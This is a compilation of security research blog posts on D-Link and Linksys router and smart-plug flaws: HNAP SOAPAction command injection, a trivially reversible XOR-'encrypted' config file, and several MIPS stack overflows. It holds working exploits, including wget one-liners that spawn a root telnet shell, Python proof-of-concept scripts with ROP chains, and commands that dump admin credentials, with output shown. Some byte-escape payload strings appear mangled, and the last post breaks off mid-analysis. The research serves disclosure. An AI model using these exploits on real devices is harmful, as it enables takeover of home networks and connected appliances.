SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

The http://purenetworks.com/HNAP1/GetDeviceSettings portion of the header satisfies the “no auth” check, while the `reboot` string ends up getting passed to system:

system("sh /var/run/`reboot`.sh > /dev/console");

Replacing reboot with telnetd spawns a telnet server that provides an unauthenticated root shell:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# 

If remote administration is enabled, HNAP requests are honored from the WAN, making remote exploitation possible. Of course, the router’s firewall will block any incoming telnet connections from the WAN; a simple solution is to kill off the HTTP server and spawn your telnet server on whatever port the HTTP server was bound to:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.


BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# 

Note that the wget requests will hang, since cgibin is essentially waiting for telnetd to return. A little Python PoC makes the exploit less awkward:

#!/usr/bin/env python

import sys
import urllib2
import httplib

try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]

    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
    else:
        raise IndexError
except IndexError:
    print "Usage: %s <target ip:port>" % sys.argv[0]
    sys.exit(1)

url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }

req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("

I’ve tested both the v1.00 and v1.03 firmware (v1.03 being the latest at the time of this writing), and both are vulnerable. But, as is true with most embedded vulnerabilities, this code has snuck its way into other devices as well.

Analyzing “all the firmwares” is tedious, so I handed this bug over to our Centrifuge team at work, who have a great automated analysis system for this sort of thing. Centrifuge found that at least the following devices are also vulnerable:

  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

AFAIK, there is no way to disable HNAP on any of these devices.

UPDATE:

Looks like this same bug was found earlier this year by Samuel Huntly, but only reported and patched for the DIR-645. The patch looks pretty shitty though, so expect a follow-up post soon.

Cracking Linksys “Encryption” – /dev/ttyS0

$
0
0

Perusing the release notes for the latest Linksys WRT120N firmware, one of the more interesting comments reads:

Firmware 1.0.07 (Build 01)
– Encrypts the configuration file.

Having previously reversed their firmware obfuscation and patched their code to re-enable JTAG debugging, I thought that surely I would be able to use this access to reverse the new encryption algorithm used to secure their backup configuration files.

Boy was I giving them way too much credit.

Here’s a diff of two backup configuration files from the WRT120N. The only change made between backups was that the administrator password was changed from “admin” in backup_config_1.bin to “aa” in backup_config_2.bin:

OFFSET        backup_config_1.bin              backup_config_2.bin
----------------------------------------------------------------------------------------
0x00001468    9E 9B 92 96 91 FF FF FF |........| / 9E 9E FF FF FF FF FF FF |........|

Two things to note here:

  • The first letter of each password (“a”) is encrypted to the same value (0x9E)
  • The same letter (“a”) is encrypted to the same value (0x9E), regardless of its position in the password

I immediately suspected some sort of simple single-byte XOR encryption. If true, then XORing the known plain text (“a”, aka, 0x61) with the known cipher text (0x9E) should produce the XOR key:

0x61 ^ 0x9E = 0xFF

Applying the XOR key of 0xFF to the other characters in the password gives us:

0x9E ^ 0xFF = a
0x9B ^ 0xFF = d
0x92 ^ 0xFF = m
0x96 ^ 0xFF = i
0x91 ^ 0xFF = n

And XORing every byte in the config file with 0xFF gives us a decrypted config file:

00000000  33 34 35 36 00 01 df 60  00 00 46 ec 76 31 2e 30  |3456...`..F.v1.0|
00000010  2e 30 37 00 00 00 00 00  00 00 00 00 00 00 00 00  |.07.............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 57 52 54 31  |............WRT1|
00000030  32 30 4e 00 00 00 00 00  00 00 00 00 00 00 00 00  |20N.............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000080  61 64 6d 69 6e 00 00 00  00 00 00 00 00 00 00 00  |admin...........|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  61 64 6d 69 6e 00 00 00  |........admin...|
000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000100  00 00 00 00 00 00 00 00  30 2e 30 2e 30 2e 30 00  |........0.0.0.0.|
00000110  00 00 00 00 00 00 00 00  01 01 01 00 00 00 00 01  |................|
00000120  00 00 00 01 00 00 00 00  00 00 00 08 32 39 34 38  |............2948|
00000130  33 31 30 35 00 01 00 00  00 31 39 32 2e 31 36 38  |3105.....192.168|
00000140  2e 31 2e 31 00 00 00 00  00 32 35 35 2e 32 35 35  |.1.1.....255.255|
00000150  2e 32 35 35 2e 30 00 00  00 00 00 00 04 00 02 00  |.255.0..........|
00000160  01 00 00 00 00 00 00 00  00 00 00 00 00 00 4c 4f  |..............LO|
00000170  4f 50 42 41 43 4b 00 00  00 00 31 32 37 2e 30 2e  |OPBACK....127.0.|
00000180  30 2e 31 00 00 00 00 00  00 00 32 35 35 2e 32 35  |0.1.......255.25|
00000190  35 2e 32 35 35 2e 32 35  35 00 00 00 00 00 00 00  |5.255.255.......|
000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001b0  00 00 00 00 49 52 51 3d  30 20 50 4f 52 54 3d 30  |....IRQ=0 PORT=0|
000001c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...

This is truly atrocious. Given that “encrypting” the backup configuration files is done presumably to protect end users, expecting this to thwart any attacker and touting it as a product feature is unforgivable.

OK, I don’t really care that much. I’m just disappointed that it took longer to write this blog post than it did to break their “crypto”.

WRT120N fprintf Stack Overflow – /dev/ttyS0

$
0
0

With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.

As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:

401 Unauthorized

401 Unauthorized

Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:

bypass_file_list("/cgi-bin/login /images/ /login...");

bypass_file_list(“/cgi-bin/login /images/ /login…”);

Full list of bypass files

Full list of bypass files

Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.

Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:

cgi_tmUnBlock function handler

cgi_tmUnBlock function handler

The interesting bit of code to focus on is this:

fprintf(request->socket, "Location %s", GetWebParam(cgi_handle, "TM_Block_URL"));

Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:

fprintf

fprintf

Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.

Respect yourself. Don't use sprintf.

Respect yourself. Don’t use sprintf.

This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
Stack trace of the crash

Stack trace of the crash

A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:

Admin password at 0x81544AF0

Admin password at 0x81544AF0

The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.

Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:

fprintf's function epilogue

fprintf’s function epilogue

There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:

First ROP gadget

First ROP gadget

If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:

  • Zero out the admin password
  • Return to the return address stored on the stack (we control the stack)
  • Add 16 to the stack pointer

This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.

Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.

Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0x60 to the stack pointer:

cgi_tmUnblock function epilogue

cgi_tmUnblock function epilogue

We’ve already added 0x10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0x50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.

There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:

Second ROP gadget

Second ROP gadget

This gadget only adds 0x10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:

ROP stack frames and relevant registers

ROP stack frames and relevant registers

With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):

import sys
import urllib2

try:
    target = sys.argv[1]
except IndexError:
    print "Usage: %s <target ip>" % sys.argv[0]
    sys.exit(1)

url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
    url = 'http://' + url

post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246                  # Filler
post_data += "x81x54x4AxF0"         # $s0, address of admin password in memory
post_data += "x80x31xF6x34"         # $ra
post_data += "C" * 0x28                 # Stack filler
post_data += "D" * 4                    # ROP 1 $s0, don't care
post_data += "x80x34x71xB8"         # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8                    # Stack filler

for i in range(0, 4):
    post_data += "F" * 4                # ROP 2 $s0, don't care
    post_data += "G" * 4                # ROP 2 $s1, don't care
    post_data += "x80x34x71xB8"     # ROP 2 $ra (address of itself)
    post_data += "H" * (4-(3*(i/3)))    # Stack filler; needs to be 4 bytes except for the
                                        # last stack frame where it needs to be 1 byte (to
                                        # account for the trailing "" and terminating
                                        # NULL byte)

try:
    req = urllib2.Request(url, post_data)
    res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
    if e.code == 500:
        print "OK"
    else:
        print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
    pass
Logging in with a blank password after exploitation

Logging in with a blank password after exploitation

Arbitrary code execution is also possible, but that’s another post for another day.

Hacking the D-Link DSP-W215 Smart Plug – /dev/ttyS0

$
0
0

The D-Link DSP-W215 Smart Plug is a wireless home automation device for monitoring and controlling electrical outlets. It isn’t readily available from Amazon or Best Buy yet, but the firmware is up on D-Link’s web site.

The D-Link DSP-W215

The D-Link DSP-W215

TL;DR, the DSP-W215 contains an unauthenticated stack overflow that can be exploited to take complete control of the device, and anything connected to its AC outlet.

The DSP-W215 firmware contains all the usual stuff you would expect from a Linux-based device:

DSP-W215 Firmware Analysis

DSP-W215 Firmware Analysis

After unpacking and examining the contents of the file system, I found that the smart plug doesn’t have a normal web-based interface; you are expected to configure it using D-Link’s Android/iOS app. The apps however, appear to use the Home Network Administration Protocol (HNAP) to talk to the smart plug.

Being a SOAP-based protocol, HNAP is served up by a lighttpd server running on the smart plug, and the following excerpt from the lighttpd configuration file(s) shows that HNAP requests are passed off to the /www/my_cgi.cgi binary for processing:

...

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",

...

While HNAP is an authenticated protocol, some HNAP actions – specifically the GetDeviceSettings action – do not require authentication:

XML Output from the GetDeviceSettings Action

XML Output from the GetDeviceSettings Action

GetDeviceSettings only provides a list of supported actions and isn’t of much use by itself, but this does mean that my_cgi.cgi has to parse the request prior to checking for authentication.

HNAP request data is handled by the do_hnap function in my_cgi.cgi. Since HNAP actions are sent as HTTP POST requests, do_hnap first processes the Content-Length header specified in the POST request:

Converting the Content-Length String to an Integer

Converting the Content-Length String to an Integer

Then, naturally, it reads content_length bytes into a fixed-size stack buffer:

fgetc Read Loop

fgetc Read Loop

The following C code is perhaps a bit clearer:

int content_length, i;
char *content_length_str;
char post_data_buf[500000];

content_length = 0;
content_length_str = getenv("CONTENT_LENGTH");

if(content_length_str)
{
   content_length = strtol(content_length_str, 10);
}

memset(post_data_buf, 0, 500000);

for(i=0; i<content_length; i++)
{
   post_data_buf[i] = fgetc();
}

From the memset it is obvious that the post_data_buf stack buffer is only intended to hold up to 500,000 bytes. Since the Content-Length header is trusted blindly, POSTing more than 500,000 bytes will overflow this buffer, but there are quite a few more variables on the stack; it takes 1,000,020 bytes to overwrite everything on the stack up to the saved return address:

# Overflow $ra with 0x41414141
perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
$ra Overwritten With 0x41414141

$ra Overwritten With 0x41414141

What’s more, because the POST data is read into the buffer with an fgetc loop, there are no bad bytes – even NULL bytes are allowed. That’s nice, because at 0x00405CAC in my_cgi.cgi there is this little bit of code that loads $a0 (the first function argument register) with a pointer to the stack ($sp+0x28) and calls system():

system($sp+0x28);

system($sp+0x28);

We just need to overwrite the saved return address with 0x00405CAC and put whatever command we want to run onto the stack at offset 0x28:

import sys
import urllib2

command = sys.argv[1]

buf =  "D" * 1000020         # Fill up the stack buffer
buf += "x00x40x5CxAC"    # Overwrite the return address on the stack
buf += "E" * 0x28            # Stack filler
buf += command               # Command to execute
buf += "x00"                # NULL terminate the command string

req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()

Even better, the stdout of any command we execute is returned in the server’s response:

eve@eve:~$ ./exploit.py 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 bin
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 Jan 14 14:16 lib
drwxr-xr-x    3 1000     1000         4096 Jan 14 14:16 libexec
lrwxrwxrwx    1 1000     1000           11 May  9 16:01 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    7 1000     1000         4096 May  9 15:44 mnt
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May  9 17:49 root
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 sbin
drwxrwxr-x    3 1000     1000         4096 May 15 04:27 tmp
drwxrwxr-x    7 1000     1000         4096 Jan 14 14:16 usr
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 var
-rw-r--r--    1 1000     1000           17 Jan 14 14:16 version
drwxrwxr-x    8 1000     1000         4096 May  9 16:52 www

We can dump configuration settings and admin creds:

eve@eve:~$ ./exploit.py 'nvram show' | grep admin
admin_user_pwd=200416
admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level
admin_level=1
admin_user_name=admin
storage_user_00=0/admin//

Or start up a telnet server to get a proper root shell:

eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
eve@eve:~$ telnet 192.168.0.60
Trying 192.168.0.60...
Connected to 192.168.0.60.
Escape character is '^]'.


BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #

After reversing a bit more of my_cgi.cgi, I found that all you need to do to turn the wall outlet on and off is execute /var/sbin/relay:

/var/sbin/relay 1   # Turns outlet on 
/var/sbin/relay 0   # Turns outlet off 

You can run a little script on the smart plug to play blinkenlights:

#!/bin/sh

OOK=1

while [ 1 ]
do
   /var/bin/relay $OOK

   if [ $OOK -eq 1 ]
   then
      OOK=0
   else
      OOK=1
   fi
done

Controlling a wall outlet can have more serious implications however, as exemplified the following D-Link advertisement:

A Rather Misleading D-Link Advertisement

A Rather Misleading D-Link Advertisement

While the smart plug may be able detect overheating, I suspect that it can only detect if the smart plug itself is overheating – it has no way to monitor the actual temperature of any devices plugged into the wall outlet. So, if you’ve left a space heater plugged in to the outlet and some nefarious person surreptitiously turns the outlet back on, you’re in for a bad day.

It’s unclear if the smart plug attempts to make itself remotely accessible (using UPnP port forwarding rules, for example), as the Android configuration app simply doesn’t work. It couldn’t even establish an initial connection to the smart plug, although my laptop had no problems. When it finally did, it refused to create a MyDlink account for remote access, with the very helpful error message “could not create account”. Although it said it had configured the smart plug to connect to my wireless network, the smart plug did not connect to my network, and it ceased to present itself as an access point for initial configuration. With the wireless borked and no ethernet connection, I was left with no means to further communicate with it. Oh, and there’s no hard reset button either. Ah well, it’s going in the bin anyway.

I suspect that anyone else who has purchased this device hasn’t been able to get it to work either, which is probably a good thing. At any rate, I’d be wary of connecting such a device to either my network or my appliances.

Incidentally, D-Link’s DIR-505L travel router is also affected by this bug, as it has a nearly identical my_cgi.cgi binary.

PoC code for both devices can be found here.


Hacking the DSP-W215, Again – /dev/ttyS0

$
0
0

D-Link recently released firmware v1.02 for the DSP-W215 to address the HNAP buffer overflow bug in my_cgi.cgi. Although they were quick to remove the download link for the new firmware (you must “Use mobile application to upgrade device”), I grabbed a copy of it before my trip to Munich this week, and the 8 hour flight provided plenty of quality reversing time to analyze the new firmware more closely.

Unfortunately, the HNAP bug was just the beginning of the smart plug’s problems.

The lighttpd config file shows that the my_cgi.cgi binary is used to handle multiple page requests, not just HNAP:

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",
               "/router_info.xml" => "/www/my_cgi.cgi",
               "/post_login.xml" => "/www/my_cgi.cgi",
               "/get_shareport_info" => "/www/my_cgi.cgi",
               "/secmark1524.cgi" => "/www/my_cgi.cgi",
               "/common/info.cgi" => "/www/my_cgi.cgi"
)

The my_cgi.cgi’s main function has two basic code branches; one for HNAP requests, and one for everything else:

Conditional branch for HNAP vs CGI requests

Conditional branch for HNAP vs CGI requests

If the HTTP request was not for HNAP (e.g., /common/info.cgi), and if the request was a POST request, then my_cgi.cgi next grabs several HTTP request headers, including Content-Length:

strtol(getenv(“CONTENT_LENGTH”), 10);

As long as the content length is greater than zero, the get_input_entries function is called, which is responsible for reading and parsing the POST parameters:

get_input_entries(&entries, content_length);

get_input_entries(&entries, content_length);

The get_input_entries function takes two arguments: a pointer to an entries data structure, and the size of the POST data (aka, the content length):

struct entries
{
    char name[36];      // POST paramter name
    char value[1025];   // POST parameter value
};

// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);

This is particularly suspect, as the only length parameter that is passed to get_input_entries is the content length that was specified in the HTTP request, and the structure pointer is a pointer to a local stack variable in the main function:

int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes

content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));

num_entries = get_input_entries(&my_entries, content_length);

Sure enough, get_input_entries has an fgetc loop (nearly identical to the fgetc loop that caused the HNAP vulnerability), which parses out the POST names and values and blindly stores them in the entries data structure:

The fgetc for loop

The fgetc for loop

fgetc(stdin) inside the for loop

fgetc(stdin) inside the for loop

Value read from fgetc is stored in the name/value members of the entries data structure

Value read from fgetc is stored in the name/value members of the entries data structure

Since the entries data structure in this case is a stack variable in main, an excessively long POST value will cause get_input_entries to overflow main’s stack.

In order to prevent crashing prematurely before returning to main (more on this in another post…), we want to exit the get_input_entries function as quickly as possible. This is most easily done by specifying a single POST parameter named “storage_path”, as most of the remaining code in get_input_entries is skipped if this POST parameter is encountered:

Checking the entry name for "storage_path"

Checking the entry name for “storage_path”

Looking back at the stack layout for main, we can see that the start of the entries data structure is 0x74944 bytes away from the saved return address on the stack:

Stack layout of the main function

Stack layout of the main function

Since the POST name takes up the first 36 bytes of the data structure, a POST value of 477472 (0x74944-36) bytes will overflow everything on the stack up to the saved return address:

# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi
$ra overwritten with 0x41414141

$ra overwritten with 0x41414141

With control of $ra, we can now return to the same system() call that was used in the HNAP overflow in order to execute arbitrary commands:

system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code:

#!/usr/bin/env python

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "storage_path="      # POST parameter name
buf += "D" * (0x74944-36)   # Stack filler
buf += "x00x40x5CxEC"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "x00"               # NULL terminate the command

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

Which works quite handily against the new firmware:

./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 17 15:42 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxr-x    3 1000     1000         4096 May 20 17:10 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    8 1000     1000         4096 May 17 15:15 www

Hacking the DSP-W215, Again, Again – /dev/ttyS0

$
0
0

Here we go again…again.

In the last DSP-W215 exploit, I mentioned that the exploit’s POST parameter name had to be “storage_path” in order to prevent the get_input_entries function from crashing prematurely. That’s because there is another stack overflow, this time in the replace_special_char function, which is called by get_input_entries if the POST parameter name is neither “storage_path” nor “path”:

Checking the POST parameter name against "storage_path" and "path"

Checking the POST parameter name against “storage_path” and “path”

The replace_special_char function is passed a single argument which is a pointer to the current POST value being processed:

replace_special_char(entries[i]->value);

replace_special_char(entries[i]->value);

The replace_special_char function is responsible for URL decoding a small set of common ASCII characters:

List of ASCII characters to be URL decoded, if necessary

List of ASCII characters to be URL decoded, if necessary

To do so, it first takes the string length of the POST value that was passed to it by get_input_entries:

post_value_length = strlen(post_data);

post_value_length = strlen(post_data);

And loops through post_value_length bytes:

Loop while i < post_value_length

Loop while i < post_value_length[/caption]

On each loop iteration, it stores one byte (either the URL decoded byte, or if URL decoding was not necessary, the original byte from the POST value data) into the local stack variable decode_buf:

decode_buf[j] = post_data[i]; decode_buf[j] = post_data[i];

Essentially, it’s doing this:

void replace_special_char(char *post_data)
{
    char decode_buf[0x258];
    int post_value_length, i = 0, j = 0;

    memset(decode_buf, 0, sizeof(decode_buf));

    post_value_length = strlen(post_data);

    while(i < post_value_length)
    {
        /* 
         * ...
         * If post_data[i] == '%', then it's URL encoded; try to decode it here
         * (as long as the POST data isn't URL encoded, this code does nothing,
         * so it's not shown).
         * ...
         */

        // No bounds checking on index j!
        decode_buf[j] = post_data[i];
        j++;
        i++;
    }

    ...

    return;
}

Examining the stack layout of replace_special_char, a POST parameter with a value of 612 bytes will overflow everything up to the first saved register ($s0) on the stack, and another 36 bytes gets us to the saved $ra:

Stack layout of replace_special_char

Stack layout of replace_special_char

# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
$ra = 0x42424242

$ra = 0x42424242

Since the decoding loop uses strlen to determine how many bytes to copy into decode_buf, our only restriction is that our POST data can’t contain NULL bytes. This means that the return address used in previous exploits won’t work, since it contains a NULL byte, but we can ROP into libc to acheive the same effect.

At offset 0xBA50 inside libc there is a gadget that points the $a1 register to the stack (specifically, $sp+0xB8) and then jumps to whatever address is contained in the $s1 register:

First ROP gadget

First ROP gadget

If during the stack overflow we overwrite $s1 with the address of offset 0x34640, execution will jump to the next gadget, which moves $a1 into $a0 (the first function argument register), then calls whatever function address is in $s0:

Second ROP gadget

Second ROP gadget

As long as we ensure that $s0 points to the system() function (at offset 0x4BC80 in libc), we’ll effectively call system with a pointer to the stack:

system($sp+0xB8);

After adding libc’s base address (0x2AB61000) to these offests, we can write some PoC code to test the vulnerability:

#!/usr/bin/env python
# Exploits overflow in replace_special_char.

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf =  "foo="               # POST parameter name can be anything
buf += "E" * 612            # Stack filler
buf += "x2AxBAxCCx80"   # $s0, address of system()
buf += "x2AxB9x56x40"   # $s1, address of ROP2
buf += "F" * 4              # $s2, don't care 
buf += "F" * 4              # $s3, don't care
buf += "F" * 4              # $s4, don't care 
buf += "F" * 4              # $s5, don't care
buf += "F" * 4              # $s6, don't care 
buf += "F" * 4              # $s7, don't care 
buf += "F" * 4              # $fp, don't care 
buf += "x2AxB6xCAx50"   # $ra, address of ROP1
buf += "G" * 0xB8           # Stack filler
buf += command              # Command to execute

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

And, as before, we can execute any command, and get the output as well:

$ ./exploit2.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 22 19:18 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

Hacking the DSP-W215, Again, Again, Again – /dev/ttyS0

$
0
0

So far, the vulnerabilities found in the DSP-W215 have only been practically exploitable from the LAN, unless someone was foolish enough to make their smart plug remotely accessible on the Internet.

The typical way for external attackers to target internal web servers, such as the one running on the DSP-W215, is through CSRF. The problem is that any web browser used for a CSRF attack will URL encode binary values, such as our return addresses, but thus far the vulnerabilities we’ve exploited don’t URL decode our data (note that the replace_special_char function exploited in the last vulnerability only URL decodes a small range of ASCII values).

The my_cgi.cgi binary, which has been our primary target for exploitation, contains a decode function which is responsible for URL decoding POST data. This function accepts only two arguments, which are a pointer to the encoded data and a pointer to a destination buffer to store the decoded data:

void decode(char *encode_buf, char *decode_buf);

The decode function simply loops through all of the bytes in encode_buf, decoding/copying them blindly into decode_buf:

The decode while loop

The decode while loop

Roughly translated, the decode function reads:

void decode(char *encode_buf, char *decode_buf)
{
    int encoded_byte_len;
    char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);

    // Loop through all bytes in encode_buf, without knowing how big decode_buf is
    while(encoded_data < encode_buf_end_ptr)
    {
        /*
         * ...
         * Do Decoding of the next byte in encoded_data.
         * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
         * ...
         */

        decode_buf[0] = decoded_byte;
        decode_buf++;
        encoded_data += encoded_byte_len;
    }
}

If a calling function is not careful to allocate a large enough buffer to store all the decoded data, the decode_buf could be overflowed by a large POST parameter.

There is only one place in my_cgi.cgi where the decode function is called, which is from the get_input_entries function:

Only the "path" POST parameter is decoded

Only the “path” POST parameter is decoded

